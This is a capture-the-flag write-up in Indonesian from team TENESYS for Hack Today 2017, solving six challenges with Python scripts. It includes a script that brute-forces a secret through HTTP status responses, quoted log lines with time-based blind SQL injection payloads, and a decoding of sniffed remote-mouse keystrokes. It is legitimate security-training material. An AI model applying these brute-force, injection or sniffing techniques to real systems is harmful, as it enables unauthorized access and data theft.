TENESYS

"Hack Today 2017"

TABLE OF CONTENTS

1. Time is Money - 65

- Didapat sebuah *link* dengan tampilan berikut,

- Tidak terdapat clue apapun pada misi ini sehingga kami mencoba untuk mengecek respon status kode yang dikirim.
- Karena kami sudah tahu bahwa flag berawalan strings “HackToday{” dan mendapat respon status kode 302, sedangkan apabila mengirimkan strings acak seperti “asd” respon yang didapat adalah 403, yang mengartikan bahwa strings awal yang kami kirim adalah valid.
- Langkah selanjutnya kami coba bruteforce tiap karakter yang ada menggunakan script berikut,

```
import requests

charset = "abcdefghijklmnopqrstuvwxyz0123456789_{}"
password = "HackToday{"
url = "http://sawah.ittoday.web.id:40137/"
while(password[-1]!="}"):
      for i in charset:
            r = requests.get(url)
            payload = {'password': password+i, 'submit': 'Submit+Query'}
            r = requests.post(url, data=payload)
            if r.status_code==302:
                  password+=i
                  print password
```

- Running script tersebut,

```
C:\Users\JDoor\Music\Tenesys>python web_time_solver.py
HackToday{l
HackToday{lo
HackToday{lon
HackToday{long
HackToday{long_
HackToday{long_l
HackToday{long_l0
HackToday{long_l00
HackToday{long_l000
```

- Didapatlah flag : **HackToday{long_l000ng_flag_is_panjaaa44ng_panjaaanggg_b3ndeeeraaa}**.

2. Balikin - 62

- Terdapat sebuah file balikin.zip apabila di ekstrak maka akan terdapat 2 file lainnya yaitu file hasil dan main.py dimana file hasil merupakan output dari enkripsi yang sudah dijalankan pada main.py
- File main.py adalah script untuk menenkripsi string file menggunakan metode xor cipher, dimana sebelumnya plaintext di reverse terlebih dahulu kemudian ditambah dengan key "RENDANGBASOGULING" kemudian di xor dengan key itu lagi.
- Kami melakukan dekripsi menggunakan script berikut:

```
flag_enc_str =
"Docx9OP+8+Xt4Yv13OfjifKW6/jrw4eH4eSR7PXt4dg=".decode('base64')
flag_enc = []
for i in flag_enc_str:
     flag_enc.append(ord(i))
key_str = "RENDANGBASOGULINGRENDANGBASOGULI"
key = []
for i in key_str:
     key.append(ord(i))

real_flag = ""

for i in range(len(key)):
     real_flag += chr((flag_enc[i]^key[i])-key[i])

print real_flag[::-1]
```

- Running dan didapatlah flag yaitu : **HackToday{Akhirnya_4ku_kembal1}**.

1. Dump Incident - 69

- Diberikan sebuah file access.log dimana merupakan hasil sebuah rekaman seorang attacker terhadap sebuah Web Service menggunakan metode bruteforce SQL Injection.
- Lakukan URL Decode terlebih dahulu pada file tersebut agar pembacaan data dapat lebih mudah dilakukan.
- Perhatian teralih pada kedua buah baris berikut,

```
172.217.24.110 - - [29/Dec/2010:22:01:44 -0500] "GET /post.php?id=' UNION SELECT 1, IF(BINARY SUBSTRING(flag, 1, 1) = 0b1001000, BENCHMARK(15000000,ENCODE('MSG','HACKED')), 0) FROM mysecretflag -- HTTP/1.1" 200 371 "-" "Mozilla/5.0 (Linux; Android 6.0; Robin Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.95 Mobile Safari/537.36"

172.217.24.110 - - [29/Dec/2010:22:01:48 -0500] "GET /post.php?id=' UNION SELECT 1, IF(BINARY SUBSTRING(flag, 1, 1) = 0b1001001, BENCHMARK(15000000,ENCODE('MSG','HACKED')), 0) FROM mysecretflag -- HTTP/1.1" 200 371 "-" "Mozilla/5.0 (Linux; Android 6.0; Robin Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.95 Mobile Safari/537.36"
```

- Dimana terdapat hal mencurigakan yaitu adanya delay selama >3 detik, yang mana menurut analisa kami, delay tersebut terjadi karena sebuah respon yang ada antara client - server, dan menandakan respon data yang dikirimkan adalah valid (pada detik ke 44) lalu melanjutkan bruteforce request data yang dikirimkan oleh si attacker kembali.
- Untuk menghasilkan flag, kami mengambil nilai biner yang ada pada setiap delay menggunakan script berikut,

```
import urllib

time2 = 0
urld = []
flag = ""
with open("access.log","r") as f:
      for i in f:
            url = urllib.unquote(i).decode('utf8')
            if "flag" in url:
                  urld.append(url)
                  data = url.split(':')[3]
                  time1 = int(data[:2])
                  time_sel = time1-time2
                  time2 = time1
                  data2 = urld.index(url)
                  if time_sel>1 or time_sel<0:
                        flag += chr(int(urld[data2-1].split(' =
')[1].split(',')[0],2))
print flag[1:]
```

- Running dan di dapatlah flag yaitu : **HackToday{Time_based_SQLi_4_log_analysis}**.

2. Wireless Mouse - 92

- Terdapat sebuah file rekaman trafik data remotemouse.pcapng dan diberikan clue dimana informasi tentang aplikasi penyadapan ada pada website *www.remotemouse.net*.
- Ekstrak data dari seluruh protokol UDP dengan command **"tshark -r remotemouse.pcapng -T fields -e data > hasil.txt"** pada terminal sehingga mendapatkan hasil seperti berikut,

```
key  8[ras]125
key  7[ras]84
key  7[ras]89
key  7[ras]90
key  7[ras]21
key  7[ras]84
Dan sebagainya...
```

- Mencoba mencari arti dari sebuah makna yang terselubung dalam ~~jiwa dan raga~~ data tersebut pada search engine namun tidak mendapat apa-apa sehingga kami melakukan simulasi sniffing ulang agar dapat memetakan seluruh karakter a-Z, 0-9, dan beberapa simbol serta tombol lain (Enter, shift, ctrl, dan lain-lain).
- Didapatlah hasil pemetaan data seperti berikut,

a = 84	A = 116	0 = 5
b = 87	B = 119	1 = 4
c = 86	C = 118	2 = 7
d = 81	D = 113	3 = 6
e = 80	E = 112	4 = 1
f = 83	F = 115	5 = 0
g = 82	G = 114	6 = 3
h = 93	H = 125	7 = 2
i = 92	I = 124	8 = 13
j = 95	J = 127	9 = 12
k = 94	K = 126	
l = 89	L = 121	{ = 78
m = 88	M = 120	} = 72
n = 91	N = 123	_ = 106
o = 90	O = 122	- = 24
p = 69	P = 101	= 21
q = 68	Q = 100	, = 25
r = 71	R = 103	. = 27
s = 70	S = 102	? = 10
t = 65	T = 97	! = 20
u = 64	U = 96	= 23
v = 67	V = 99	' = 18
w = 66	W = 98	@ = 117
x = 77	X = 109	# = 22
y = 76	Y = 108	$ = 17
z = 79	Z = 111	% = 16

- Terjemahkan dan analisis setiap data yang sudah didapat sehingga mendapatkan flag yaitu : **HackToday{Jang4n_pernAh_nulis_p4ssw0rd_via_r3motem0use}**.

1. Circle - 87

- Diberikan sebuah script circle.py untuk hasil enkripsi : `Hy80o81d9}95{8047Ta887k43c2a`
- Dari analisis kami, script circle.py mempunyai fungsi encrypt yang akan membuat inputan string berubah posisi di setiap karakternya, sesuai dengan nilai n yang dimasukkan.
- Untuk mereverse dari hasil enkripsi flag menjadi plaintext kami menggunakan script berikut,

```
enc_flag = "Hy80o81d9}95{8047Ta887k43c2a"

def encrypt(flag, n):
     check = [0 for i in range(len(flag))]
     point = 1
     result = flag[0]
     check[0] = 1
     i = 0

     while len(result) != len(flag):
          if check[i % len(flag)] == 0:
               if point == n:
                    result += flag[i % len(flag)]
                    check[i % len(flag)] = 1
                    point = 0
          else:
               point -= 1

          i += 1
          point += 1

     return result

dum = "HackToday{123456789!@#$%^&*}"

for i in range(1,100):
     enc = encrypt(dum,i)
     if enc[0] == 'H' and enc[25]=='c' and enc[22]=='k' and
enc[1]=='y' and enc[9]=='}' and enc[12]=='{' and enc[17] =='T':
          enc_dum = enc;break

dec_flag = "HackToday"
indx = []

for i in range(9,len(dum)):
     indx.append(enc_dum.index(dum[i]))

for i in indx:
     dec_flag += enc_flag[i]

print dec_flag
```

- Running dan didapatlah flag yaitu : **HackToday{09348789288851074}**.

1. Free Flag - 0

- Sebuah misi dimana ketika kami mencoba klik tombol “View Hint” maka kami akan kehilangan poin sebanyak -5, lucunya salah satu anggota tim kamipun menekan tombol itu dengan wajah tak berdosa miliknya :) alhasil kamipun menukar sebuah hint yang tidak seberapa ~~#menyesal~~ itu dengan poin kami.
- Flag pun didapat dari clue Dev Tool yang mana dapat dilihat pada bagian Inspect Element lalu klik pada bagian console yaitu : **HackToday{Free_Flag_For_All}**.